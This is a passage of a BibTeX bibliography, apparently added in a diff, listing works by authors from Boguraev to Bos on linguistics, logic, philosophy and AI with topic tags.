{computational-lexical-semantics;computational-lexicography; + transitivity-alternations;} + } + +@incollection{ boguraev:1994a, + author = {Branamir Boguraev}, + title = {Machine-Readable Dictionaries and Computational + Linguistics Research}, + booktitle = {Current Issues in Computational Linguistics: Essays in + Honour of {D}on {W}alker}, + publisher = {Giardini Editori e Stampatori and Kluwer Academic + Publishers}, + year = {1994}, + editor = {Antonio Zampolli and Nicoletta Calzolari and Martha Palmer}, + pages = {119--154}, + address = {Pisa and Dordrecht}, + topic = {computational-lexicography;machine-readable-dictionaries;} + } + +@article{ bohanan:1966a1, + author = {Laura Bohanan}, + title = {Shakespeare in the Bush}, + journal = {Natural History Magazine}, + year = {1966}, + month = {August/September}, + missinginfo = {volume, number, pages}, + xref = {Republication: bohanan:1966a2.}, + topic = {cultural-anthropology;literary-interpretation;} + } + +@incollection{ bohanan:1966a2, + author = {Laura Bohanan}, + title = {Shakespeare in the Bush}, + booktitle = {Anthropology: Contemporary Perspectives}, + publisher = {Little, Brown and Company}, + year = {1987}, + editor = {Phillip Whitten and David {E.K. Hunter}}, + chapter = {22}, + pages = {149--153}, + address = {Boston}, + xref = {Original publication: bohanan:1966a1.}, + topic = {cultural-anthropology;literary-interpretation;} + } + +@inproceedings{ bohlin-etal:1999a, + author = {Peter Bohlin and Robin Cooper and Elizabet Engdahl and + Staffan Larsson}, + title = {Information States and Dialogue Move Engines}, + booktitle = {Proceedings of the {IJCAI}-99 Workshop on + Knowledge and Reasoning in Practical Dialogue Systems}, + year = {1999}, + editor = {Jan Alexandersson}, + pages = {25--31}, + organization = {IJCAI}, + publisher = {International Joint Conference on Artificial Intelligence}, + address = {Murray Hill, New Jersey}, + topic = {computational-dialogue;} + } + +@article{ bojadziev:1995a, + author = {Damjan Bojad\v{z}iev}, + title = {Sloman's view of Gšdel's sentence } , + journal = {Artificial Intelligence}, + year = {1995}, + volume = {74}, + number = {2}, + pages = {389--393}, + topic = {goedels-first-theorem;foundations-of-AI;} + } + +@article{ bojadziev-gams:1998a, + author = {Damjan Bojad\v{z}iev and Matja\v{z} Gams}, + title = {Addendum to `{S}loman's View of {G}\"odel's + Sentence}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {98}, + number = {1--2}, + pages = {363--365}, + topic = {goedels-first-theorem;foundations-of-AI;} + } + +@book{ bok:1998a, + author = {Hilary Bok}, + title = {Freedom and Responsibility}, + publisher = {Princeton University Press}, + year = {1998}, + address = {Princeton, New Jersey}, + topic = {freedom;volition;blameworthiness;} + } + +@incollection{ boldini:1997a, + author = {Pascal Boldini}, + title = {Vagueness and Type Theory}, + booktitle = {{LACL}'96: First International Conference on + Logical Aspects of Computational Linguistics}, + publisher = {Springer-Verlag}, + year = {1997}, + editor = {Christian Retor/'e}, + pages = {134--148}, + address = {Berlin}, + topic = {logic-and-computational-linguistics;vagueness; + higher-order-logic;} + } + +@article{ boley:1977a, + author = {Harold Boley}, + title = {Directed Recursive Labelnode Hypergraphs: A New + Representation-Language}, + journal = {Artificial Intelligence}, + year = {1977}, + volume = {9}, + number = {1}, + pages = {49--85}, + acontentnote = {Abstract: + Directed recursive labelnode hypergraphs (DR\underline{L}Hs) + are defined as a new representation-language combining 3 + generalizations of directed labeled graphs. + DR\underline{L}Hs are shown to overcome certain difficulties + of conventional representation-languages and to be capable of + specializing to them. The analysis of natural language strings + into DR\underline{L}Hs and their processing is done with + pattern-matching rules.}, + topic = {kr;graph-based-representations;semantic-nets;} + } + +@incollection{ boley:1992a, + author = {Harold Boley}, + title = {Declarative Operations on Nets}, + booktitle = {Semantic Networks in Artificial Intelligence}, + publisher = {Pergamon Press}, + year = {1992}, + editor = {Fritz Lehmann}, + pages = {601--637}, + address = {Oxford}, + topic = {kr;semantic-networks;kr-course;} + } + +@book{ bolinger:1961a, + author = {Dwight Bolinger}, + title = {Generality, Gradience, and the All-Or-None.}, + publisher = {Mouton}, + year = {1962}, + address = {The Hague}, + topic = {prosody;phonetics;} + } + +@incollection{ bolinger:1967a, + author = {Dwight Bolinger}, + title = {The Imperative In {E}nglish}, + booktitle = {To Honour {R}oman {J}akobson: Essays on the Occasion of + His Seventieth Birthday}, + publisher = {Mouton}, + year = {1967}, + editor = {Morris Halle and H.G. Lunt and H. McLean}, + pages = {335--362}, + address = {The Hague}, + note = {Janua Linguarum, Ser. Major 31.}, + missinginfo = {E's 1st name}, + topic = {imperatives;} + } + +@article{ bolinger:1967b, + author = {Dwight Bolinger}, + title = {Adjectives in {E}nglish: Attribution and Predication}, + journal = {Lingua}, + year = {1967}, + volume = {18}, + pages = {1--34}, + missinginfo = {number}, + topic = {adjectives;semantics-of-adjectives;} + } + +@book{ bolinger:1968a, + author = {Dwight Bolinger}, + title = {Aspects of Language}, + publisher = {Harcourt, Brace \& World}, + year = {1968}, + address = {New York}, + topic = {discourse-analysis;} + } + +@book{ bolinger:1971a, + author = {Dwight Bolinger}, + title = {The Phrasal Verb in {E}nglish}, + publisher = {Harvard Univesity Press}, + year = {1977}, + address = {Cambridge, Massachusetts}, + topic = {discourse-analysis;pragmatics;} + } + +@book{ bolinger:1972a, + author = {Dwight Bolinger}, + title = {That's That}, + publisher = {Mouton}, + year = {1972}, + address = {The Hague}, + topic = {semantics-of-adjectives;vagueness;} + } + +@book{ bolinger:1972b, + author = {Dwight Bolinger}, + title = {Degree Words}, + publisher = {Mouton}, + year = {1972}, + address = {The Hague}, + topic = {semantics-of-adjectives;vagueness;} + } + +@book{ bolinger:1977a, + author = {Dwight Bolinger}, + title = {Pronouns and Repeated Nouns}, + publisher = {Indiana University Linguistics Club}, + year = {1982}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {pronouns;anaphora;} + } + +@book{ bolinger:1977b, + author = {Dwight Bolinger}, + title = {Meaning and Form}, + publisher = {Longman}, + year = {1977}, + address = {New York}, + topic = {discourse-analysis;pragmatics;} + } + +@book{ bolinger:1977c, + author = {Dwight Bolinger}, + title = {Neutrality, Norm, and Bias}, + publisher = {Indiana University Linguistics Club}, + year = {1977}, + address = {Bloomington, Indiana}, + topic = {discourse-analysis;pragmatics;} + } + +@incollection{ bolinger:1978a, + author = {Dwight Bolinger}, + title = {Yes--No Questions Are Not Alternative Questions}, + booktitle = {Questions}, + publisher = {D. Reidel Publishing Company}, + year = {1978}, + editor = {Henry Hi\.z}, + pages = {87--105}, + address = {Dordrecht}, + topic = {interrogatives;} + } + +@incollection{ bolinger:1978b, + author = {Dwight Bolinger}, + title = {Asking More Than One Thing at a Time}, + booktitle = {Questions}, + publisher = {D. Reidel Publishing Company}, + year = {1978}, + editor = {Henry Hi\.z}, + pages = {107--150}, + address = {Dordrecht}, + topic = {interrogatives;} + } + +@book{ bolinger:1980a, + author = {Dwight Bolinger}, + title = {Language: The Loaded Weapon: the Use and Abuse of Language + Today}, + publisher = {Longman}, + year = {1980}, + address = {London}, + topic = {sociolinguistics;rhetoric;} + } + +@book{ bolinger:1986a, + author = {Dwight Bolinger}, + title = {Intonation and Its Uses: Melody in Spoken {E}nglish}, + publisher = {Stanford University Press}, + year = {1986}, + address = {Stanford}, + contentnote = {TC: + Part I: Introduction + Part II: Accentual Prosody + Part III: Melodic Prosody + } , + topic = {intonation;prosody;punctuation;} + } + +@incollection{ bolker:2000a, + author = {Ethan D. Bolker}, + title = {An Existence Theorem for the Logic of Decision}, + booktitle = {{PSA}'1998: Proceedings of the 1998 Biennial Meetings + of the Philosophy of Science Association, Part {II}: + Symposium Papers}, + publisher = {Philosophy of Science Association}, + year = {2000}, + editor = {Don A. Howard}, + pages = {S14--S32}, + address = {Newark, Delaware}, + topic = {decision-theory;} + } + +@incollection{ bollinger-pletat:1992a, + author = {Toni Bollinger and Udo Pletat}, + title = {An Order-Sorted Logic with Sort Literals and Disjointness + Constraints}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {413--424}, + address = {San Mateo, California}, + topic = {kr;theorem-proving;hybrid-kr-architectures;sort-hierarchies;} + } + +@incollection{ bolton_d:1995a, + author = {Derek Bolton}, + title = {Self-Knowledge, Error and Disorder}, + booktitle = {Mental Simulation: Evaluations and Applications}, + publisher = {Blackwell Publishers}, + year = {1995}, + editor = {Martin Davies and Tony Stone}, + pages = {209--234}, + address = {Oxford}, + topic = {introspection;} + } + +@article{ bolton_r:1998a, + author = {Robert Bolton}, + title = {Essentialism and Semantic Theory in {A}ristotle: + {\it Posterior Analytics} II, 7--10}, + journal = {The Philosophical Review}, + year = {1998}, + volume = {108}, + number = {4}, + pages = {514--544}, + topic = {Aristotle;essentialism;philosophy-of-language;} + } + +@article{ bonanno:1996a, + author = {Giacomo Bonanno}, + title = {On the Logic of Common Belief}, + journal = {Mathematical Logic Quarterly}, + year = {1996}, + volume = {42}, + pages = {305--311}, + missinginfo = {number}, + topic = {mutual-belief;epistemic-logic;} + } + +@unpublished{ bonanno:1998a, + author = {Giacomo Binanno}, + title = {The Logic of Prediction}, + year = {1998}, + month = {September}, + note = {Unpublished manuscript, Department of Economics, + University of California at Davis}, + topic = {branching-time;} + } + +@inproceedings{ bonanno-nehring:1998a, + author = {Giacomo Bonnano and Klaus Nehring}, + title = {Understanding Common Priors under Incomplete + Information}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Seventh Conference ({TARK} 1998)}, + year = {1998}, + editor = {Itzhak Gilboa}, + pages = {147--160}, + publisher = {Morgan Kaufmann}, + address = {San Francisco, California}, + topic = {reasoning-about-knowledge;common-prior-assumption;} + } + +@book{ bond_a-glasser:1988a, + editor = {Alan Bond and Les Glasser}, + title = {Readings in Distributed Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + year = {1988}, + topic = {distributed-AI;} + } + +@inproceedings{ bond_f-etal:1998a, + author = {Francis Bond and Daniela Kurz and Satoshi Shirai}, + title = {Anchoring Floating Quantifiers in {J}apanese-to-{E}nglish + Machine Translation}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {152--159}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {quantifier-float;machine-translation;Japanese-language;} +} + +@article{ bondarenko-etal:1997a, + author = {A. Bondarenko and P.M. Dung and Robert A. Kowalski and + F. Toni}, + title = {An Abstract, Argumentation-Theoretic Approach to Default + Reasoning}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {93}, + number = {1--2}, + pages = {63--101}, + topic = {argument-based-defeasible-reasoning;nonmonotonic-reasoning;} + } + +@inproceedings{ bonet-geffner:1999a, + author = {Blai Bonet and H\'ector Geffner}, + title = {General Planning Tool (GPT)}, + booktitle = {Workshop on Logic-Based Artificial Intelligence, + Washington, DC, June 14--16, 1999}, + year = {1999}, + editor = {Jack Minker}, + publisher = {Computer Science Department, University of Maryland}, + address = {College Park, Maryland}, + topic = {planning-algorithms;} + } + +@article{ bonet-geffner:2001a, + author = {Blai Bonet and H\'ector Geffner}, + title = {Planning as Heuristic Search}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {129}, + number = {1--2}, + pages = {5--33}, + topic = {heuristics;search;planning;} + } + +@article{ bonet-geffner:2001b, + author = {Blai Bonet and Hector Geffner}, + title = {Heuristic Search Planner 2.0}, + journal = {The {AI} Magazine}, + year = {2001}, + volume = {22}, + number = {1}, + pages = {77--80}, + topic = {planning;planning-algorithms;planning-systems;} + } + +@article{ bonevac:1984a, + author = {Daniel Bonevac}, + title = {Semantics for Clausally Complemented Verbs}, + journal = {Synth\'ese}, + year = {1984}, + volume = {59}, + number = {2}, + pages = {187--218}, + topic = {propositional-attitudes;situation-semantics;} + } + +@article{ bonevac:1990a, + author = {Daniel Bonevac}, + title = {Paradoxes of Fulfillment}, + journal = {Journal of Philosophical Logic}, + year = {1990}, + volume = {19}, + number = {3}, + pages = {229--252}, + topic = {semantic-paradoxes;speech-acts;pragmatics;} + } + +@article{ bonevac:1998a, + author = {Daniel Bonevac}, + title = {Against Conditional Obligation}, + journal = {No\^us}, + year = {1998}, + volume = {32}, + number = {1}, + pages = {37--53}, + topic = {conditional-obligation;deontic-logic;} + } + +@book{ bonfantini:1987a, + author = {Massimo Bonfantini}, + title = {La Semiosi e l'Abduzione}, + publisher = {Bompiani}, + year = {1987}, + address = {Mailand}, + topic = {semiotics;abduction;} + } + +@book{ bonissone-etal:1991a, + editor = {P.O Bonissone and Max Henrion and L.N. Kanal + and J.F. Lemmer}, + title = {Uncertainty in Artificial Intelligence, Volume 6}, + publisher = {North-Holland Publishing Co.}, + year = {1991}, + address = {Amsterdam}, + missinginfo = {E's 1st name.}, + topic = {reasoning-about-uncertainty;} + } + +@inproceedings{ bonnema-etal:1997a, + author = {Remko Bonnema and Rens Bod and Remko Scha}, + title = {A {DOP} Model for Semantic Interpretation}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {159--167}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {computational-semantics;statistical-nlp;} + } + +@incollection{ bonnema-etal:1999a, + author = {Remko Bonnema and Paul Buying and Remko Scha}, + title = {A New Probability Model for Data Oriented Parsing}, + booktitle = {Proceedings of the Twelfth {A}msterdam Colloquium}, + publisher = {ILLC/Department of Philosophy, University + of Amsterdam}, + year = {1999}, + editor = {Paul Dekker}, + pages = {85--90}, + address = {Amsterdam}, + topic = {parsing-algorithms;statistical-parsing;} + } + +@book{ bonney:1982a, + author = {W.L. Bonney}, + title = {Problems in the Grammar and Logic of {E}nglish Complementation}, + publisher = {Indiana University Linguistics Club}, + year = {1982}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {nl-syntax;definiteness;anaphora;syntactic-control;} + } + +@article{ bonomi:1977a, + author = {Andrea Bonomi}, + title = {Existence, Presupposition and Anaphoric Space}, + journal = {Journal of Philosophical Logic}, + year = {1977}, + volume = {6}, + number = {3}, + pages = {239--267}, + topic = {(non)existence;presupposition;pragmatics;anaphora;} + } + +@article{ bonomi-casalegno:1993a, + author = {Andrea Bonomi and Paolo Casalegno}, + title = {`{O}nly': Association with Focus in Event Semantics}, + journal = {Natural Language Semantics}, + year = {1993}, + volume = {2}, + number = {1}, + pages = {1--45}, + topic = {nl-semantics;sentence-focus;events;pragmatics;} + } + +@article{ bonomi:1997a, + author = {Andrea Bonomi}, + title = {Aspect, Quantification, and When-Clauses in {I}talian}, + journal = {Linguistics and Philosophy}, + year = {1997}, + volume = {20}, + number = {5}, + pages = {469--514}, + topic = {Italian-language;tense-aspect;} + } + +@article{ bonomi:1997b, + author = {Andrea Bonomi}, + title = {The Progressive and the Structure of Events}, + journal = {Journal of Semantics}, + year = {1997}, + volume = {14}, + pages = {173--205}, + topic = {tense-aspect;} + } + +@article{ bonomi:2002a, + author = {Andrea Bonomi}, + title = {Review of {\it Semantics, Tense, and Time: An Essay + in the Metaphysics of Natural Language}, by {P}eter {L}udlow}, + journal = {Linguistics and Philosophy}, + year = {2002}, + volume = {25}, + number = {1}, + pages = {81--95}, + xref = {Review of: ludlow:1999a.}, + topic = {nl-semantics;tense-aspect;metaphysics;} + } + +@article{ bonotto-zanardo:1989a, + author = {Cinzia Bonotto and Alberto Zanardo}, + title = {A Non-Compactness Phenomenon in Logics with + Hyperintensional Predication}, + journal = {Journal of Philosophical Logic}, + year = {1989}, + volume = {18}, + number = {4}, + pages = {383--398}, + topic = {hyperintensionality;intensional-logic;} + } + +@inproceedings{ bonzon:1995a, + author = {Pierre E. Bonzon}, + title = {A Meta-Level Inference Architecture for Contexts}, + booktitle = {Formalizing Context}, + year = {1995}, + editor = {Sasa Buva\v{c}}, + pages = {47--54}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {context;} + } + +@inproceedings{ bonzon:1997a, + author = {Pierre E. Bonzon}, + title = {A Reflective Proof System for Reasoning in Contexts}, + booktitle = {Proceedings of the Fourteenth National Conference on + Artificial Intelligence}, + year = {1997}, + editor = {Howard Shrobe and Ted Senator}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + missinginfo = {pages}, + topic = {context;contextual-reasoning;logic-of-context;} + } + +@incollection{ bonzon:2000a, + author = {Pierre Bonzon}, + title = {Contextual Learning: Towards Using Contexts to + Achieve Generality}, + booktitle = {Formal Aspects of Context}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + editor = {Pierre Bonzon and Marcos Cavalcanti and Rolf Nossum}, + pages = {127--141}, + address = {Dordrecht}, + topic = {context;machine-learning;metareasoning;logic-programming;} + } + +@book{ bonzon-etal:2000a, + editor = {Pierre Bonzon and Marcos Cavalcanti and Rolf Nossum}, + title = {Formal Aspects of Context}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + address = {Dordrecht}, + ISBN = {0-7923-6350-7}, + contentnote = {TC: + 1. Dov M. Gabbay, "Editorial Preface", p. vii + 2. Pierre Bonzon and Marcos Cavalcanti and Rolf + Nossum, "Introduction", pp. ix--x + 3. Kees van Deemter and Jan Odijk, "Formal and Computational + Models of Context for Natural Language + Generation", pp. 1--21 + 4. Harry Bunt, "Requirements for Dialogue Context + Management", pp. 23--36 + 5. Julia Lavid, "Contextual Constraints on Thematization in + Written Discourse: An Empirical Study", pp. 37--47 + 6. Mark Galliker and Daniel Weimer, "Context and Implicitness: + Consequences for Traditional and Computer-Assisted + Text Analysis", pp. 49--63 + 7. Alessandro Cimatti and Luciano Serafini, "A Context-Based + Mechanization of Multi-Agent Reasoning", pp. 65--83 + 8. Paul Piwek and Emiel Krahmer, "Presuppositions in Context: + Constructing Bridges", pp. 85--106 + 9. Vagan Y. Terziyan and Seppo Puuronen, "Reasoning with + Multilevel Contexts in Semantic + Metanetworks", pp. 107--126 + 10. Pierre Bonzon, "Contextual Learning: Towards Using Contexts to + Achieve Generality", pp. 127--141 + 11. Leon W.N. van der Torre and Yao-Hua Tan, "Contextual Deontic + Logic", pp. 143--160 + 12. Fausto Giunchiglia and Chiara Ghidini, "A Local Models + Semantics for Propositional Attitudes", pp. 161--174 + 13. Luciano Serafini and Chiara Ghidini, "Context-Based Semantics + for Information Integration", pp. 175--192 + 14. Dov M. Gabbay and Rolf Nossum, "Structured Contexts with + Fibred Semantics", pp. 193--209 + } , + xref = {Review: thomason_rh:2001a.}, + topic = {context;} + } + +@incollection{ bonzon-etal:2000b, + author = {Pierre Bonzon and Marcos Cavalcanti and Rolf Nossum}, + title = {Introduction}, + booktitle = {Formal Aspects of Context}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + editor = {Pierre Bonzon and Marcos Cavalcanti and Rolf Nossum}, + pages = {ix--x}, + address = {Dordrecht}, + topic = {context;} + } + +@incollection{ booij:1992a, + author = {Geert Booij}, + title = {Morphology, Semantics and Argument Structure}, + booktitle = {Thematic Structure: Its Role in Grammar}, + publisher = {Foris Publications}, + year = {1992}, + editor = {Iggy M. Roca}, + pages = {47--64}, + address = {Berlin}, + topic = {thematic-roles;argument-structure;} + } + +@article{ booker-etal:1989a, + author = {L.B. Booker and D.E. Goldberg and J.H. Holland}, + title = {Classifier Systems and Genetic Algorithms}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {40}, + number = {1--3}, + pages = {235--282}, + topic = {automatic-classification;genetic-algorithms; + machine-learning;} + } + +@book{ boolos:1979a, + author = {George Boolos}, + title = {The Unprovability of Consistency}, + publisher = {Cambridge University Press}, + year = {1979}, + address = {Cambridge, England}, + topic = {goedels-second-theorem;semantic-reflection;provability-logic;} + } + +@article{ boolos:1980a, + author = {George Boolos}, + title = {Provability, Truth, and Modal Logic}, + journal = {Journal of Philosophical Logic}, + year = {1980}, + volume = {9}, + number = {1}, + pages = {1--7}, + topic = {modal-logic;provability-logic;} + } + +@article{ boolos:1984a, + author = {George Boolos}, + title = {Don't Eliminate Cut}, + journal = {Journal of Philosophical Logic}, + year = {1984}, + volume = {13}, + number = {4}, + pages = {373--378}, + topic = {proof-theory;cut-free-deduction;complexity-theory;} + } + +@article{ boolos-sambin:1985a, + author = {George Boolos and Giovanni Sambin}, + title = {An Incomplete System of Modal Logic}, + journal = {Journal of Philosophical Logic}, + year = {1985}, + volume = {14}, + number = {4}, + pages = {351--358}, + topic = {modal-logic;provability-logic;} + } + +@article{ boolos:1987a, + author = {George Boolos}, + title = {A Curious Inference}, + journal = {Journal of Philosophical Logic}, + year = {1987}, + volume = {16}, + pages = {1--12}, + missinginfo = {number}, + topic = {proof-theory;proof-complexity;higher-order-logic; + large-numbers;} + } + +@article{ boolos:1991a, + author = {George Boolos}, + title = {Zooming Down the Slippery Slope}, + journal = {No{\^u}s}, + year = {1991}, + volume = {25}, + pages = {695--706}, + topic = {vagueness;} + } + +@book{ boolos:1993a, + author = {George Boolos}, + title = {The Logic of Provability}, + publisher = {Cambridge Universoti Press}, + year = {1993}, + address = {Cambridge, England}, + xref = {Review: tait:1999a.}, + topic = {modal-logic;provability-logic;goedels-second-theorem;} + } + +@article{ boolos:1997a, + author = {George Boolos}, + title = {Constructing {C}antorian Counterexamples}, + journal = {Journal of Philosophical Logic}, + year = {1997}, + volume = {26}, + number = {3}, + pages = {237--239}, + topic = {set-theory;} + } + +@book{ boolos:1998a, + author = {George Boolos}, + title = {Logic, Logic, and Logic}, + publisher = {Cambridge, Mass: Harvard University Press}, + year = {1998}, + address = {Cambridge}, + ISBN = {0674537661}, + note = {Introductions and afterword by John P. Burgess; edited by + Richard Jeffrey.}, + topic = {philosophical-logic;} + } + +@book{ boons-leclere:1976a, + author = {{A.G. Jean-Paul} Boons and C. Leclere}, + title = {La Structure des Phrases Simples en {F}rancais: + Constructions Intransitives}, + publisher = {Libraire Droz}, + year = {1976}, + address = {Gen\'eve-Paris}, + missinginfo = {A's 1st name}, + topic = {transitivity-alternations;French-language;} + } + +@article{ booth-paris_jb:1998a, + author = {R. Booth and J.B. Paris}, + title = {A Note on the Rational Closure of Knowledge + Bases with Both Positive and Negative Knowledge}, + journal = {Journal of Logic, Language, and Information}, + year = {1998}, + volume = {7}, + number = {2}, + pages = {165--190}, + topic = {belief-revision;} + } + +@incollection{ booth:2002a, + author = {Richard Booth}, + title = {Social Contraction and Belief Negotiation}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {375--384}, + address = {San Francisco, California}, + topic = {kr;belief-revision;knowledge-integration;} + } + +@book{ booth_wc:1974a, + author = {Wayne C. Booth}, + title = {A Rhetoric of Irony}, + publisher = {University of Chicago Press}, + year = {1974}, + address = {Chicago}, + ISBN = {0226065529}, + topic = {irony;literary-criticism;} + } + +@book{ borenstein:1991a, + author = {Nathaniel S. Borenstein}, + title = {Software Conflict: Essays on the Art and Science of + Software Engineering}, + publisher = {Prentice Hall}, + year = {1991}, + address = {Englewood Cliffs, New Jersey}, + ISBN = {0138261571}, + topic = {software-engineering;} + } + +@book{ borger:1987a, + editor = {Egon B\"orger}, + title = {Computation Theory and Logic}, + publisher = {Springer-Verlag}, + year = {1987}, + address = {Berlin}, + ISBN = {0387181709}, + topic = {theoretical-cs-general;} + } + +@book{ borger:1988a, + editor = {Egon B\"orger}, + title = {Trends in Theoretical Computer Science}, + publisher = {Computer Science Press}, + year = {1988}, + address = {Rockville}, + ISBN = {0881750840}, + topic = {theoretical-cs-general;} + } + +@book{ borger:1995a, + editor = {Egon B\"orger}, + title = {Specification and Validation Methods}, + publisher = {Oxford University Press}, + year = {1995}, + address = {Oxford}, + ISBN = {0198538545}, + topic = {program-specification;} + } + +@book{ borger-etal:1997a, + author = {Egon B\"orger and Erich Gr\"adel and Yuri Gurevich}, + title = {The Classical Decision Problem}, + publisher = {Springer Verlag}, + year = {1997}, + address = {Berlin}, + xref = {Review: marx_m:1999a.}, + topic = {undecidability;decidability;} + } + +@article{ borghuis:1998a, + author = {Tun Borghuis}, + title = {Modal Pure Type Systems}, + journal = {Journal of Logic, Language, and Information}, + year = {1998}, + volume = {7}, + number = {3}, + pages = {265--296}, + topic = {modal-logic;higher-order-logic;proof-theory;} + } + +@incollection{ borghus:1993a, + author = {Tijn Borghus}, + title = {Interpreting Modal Natural Deduction in Type Theory}, + booktitle = {Diamonds and Defaults}, + publisher = {Kluwer Academic Publishers}, + editor = {Maarten de Rijke}, + year = {1993}, + pages = {67--102}, + address = {Dordrecht}, + topic = {modal-logic;higher-order-logic;} + } + +@article{ borgida:1985a, + author = {Alex Borgida}, + title = {Language Features for Flexible Handling of Exceptions in + Information Systems}, + journal = {{ACM} Transactions on Database Systems}, + year = {1985}, + volume = {10}, + pages = {563--603}, + missinginfo = {number}, + topic = {applied-nonmonotonic-reasoning;} + } + +@incollection{ borgida-etherington:1989a, + author = {Alex Borgida and David W. Etherington}, + title = {Hierarchical Knowledge Bases and Efficient Disjunctive + Reasoning}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {33--43}, + address = {San Mateo, California}, + missinginfo = {number}, + topic = {kr;vivid-reasoning;inheritance;taxonomic-logics;kr-course;} + } + +@incollection{ borgida:1992a, + author = {Alex Borgida}, + title = {Towards the Systematic Development of Description Logic + Reasoners: {CLASP} reconstructed}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {259--269}, + address = {San Mateo, California}, + topic = {kr;taxonomic-logics;extensions-of-kl1;kr-course;} + } + +@article{ borgida-patelschneider:1994a, + author = {Alex Borgida and Peter Patel-Schneider}, + title = {A Semantics and Complete Algorithm for Subsumption in the + {CLASSIC} Description Logic}, + journal = {Journal of Artificial Intelligence Research}, + year = {1994}, + volume = {1}, + pages = {277--308}, + topic = {kr;CLASSIC;subsumption-algorithms;kr-course;} + } + +@article{ borgida:1996a, + author = {Alex Borgida}, + title = {On the Relative Expressive Completeness of Description + Logics and Predicate Logics}, + journal = {Artificial Intelligence}, + year = {96}, + volume = {82}, + number = {1--2}, + pages = {353--367}, + topic = {taxonomic-logic;} + } + +@incollection{ borgida-mcguinness:1996a, + author = {Alex Borgida and Deborah L. McGuinness}, + title = {Asking Queries about Frames}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {340--349}, + address = {San Francisco, California}, + topic = {kr;classic;taxonomic-logics;generating-explanations;kr-course;} + } + +@incollection{ borgo-etal:1996a, + author = {Stefano Borgo and Nicola Guarino and Claudio Masolo}, + title = {A Pointless Theory of Space Based on Strong Connection and + Congruence}, + booktitle = {{KR}'96: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {220--229}, + address = {San Francisco, California}, + topic = {kr;spatial-reasoning;kr-course;} + } + +@article{ boricic:1985a, + author = {Branislaw R. Bori\v{c}i\v{c}}, + title = {On Sequence-Conclusion Natural Deduction Systems}, + journal = {Journal of Philosophical Logic}, + year = {1985}, + volume = {14}, + number = {4}, + pages = {359--377}, + topic = {proof-theory;} + } + +@article{ borkin:1972a, + author = {Ann Borkin}, + title = {Coreference and Beheaded NPs}, + journal = {Papers in Linguistics}, + year = {1972}, + volume = {5}, + pages = {28--45}, + missinginfo = {number}, + topic = {nl-syntax;metonymy;} + } + +@incollection{ bornscheuer-etal:1998a, + author = {S.-E. Bornscheuer et al.}, + title = {Massively Parallel Reasoning}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {II}, Systems and Implementation Techniques}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + missinginfo = {A's 1st name, pages}, + topic = {theorem-proving;applied-logic;} + } + +@article{ boros-etal:1999a, + author = {Endre Boros and Toshihide Ibaraki and Kazuhara + Makino}, + title = {Logical Analysis of Binary Data with Missing Bits}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {107}, + number = {2}, + pages = {219--263}, + topic = {kr-complexity-analysis;data-mining;logic-in-AI;} + } + +@article{ borowski:1973a, + author = {E.J. Borowski}, + title = {On the Extent of {J}ohn's Height}, + journal = {Foundations of Language}, + year = {1973}, + volume = {10}, + number = {3}, + pages = {419--422}, + topic = {comparative-constructions;nl-semantics;} + } + +@book{ borsuk-smielew:1960a, + author = {Karol Borsuk and Wanda Smielew}, + title = {Foundations of Geometry. Part {I}: {E}uclidean and + {B}olyai-{L}obachevskian Geometry}, + publisher = {North-Holland Publishing Co.}, + year = {1960}, + address = {Amsterdam}, + topic = {geometry;formalizations-of-geometry;} + } + +@incollection{ bos:1994a, + author = {Johan Bos}, + title = {Presupposition and {VP}-Ellipsis}, + booktitle = {Fifteenth International Conference on Computational + Linguistics}, + year = {1994}, + missinginfo = {Editor, publisher, address, pages}, + topic = 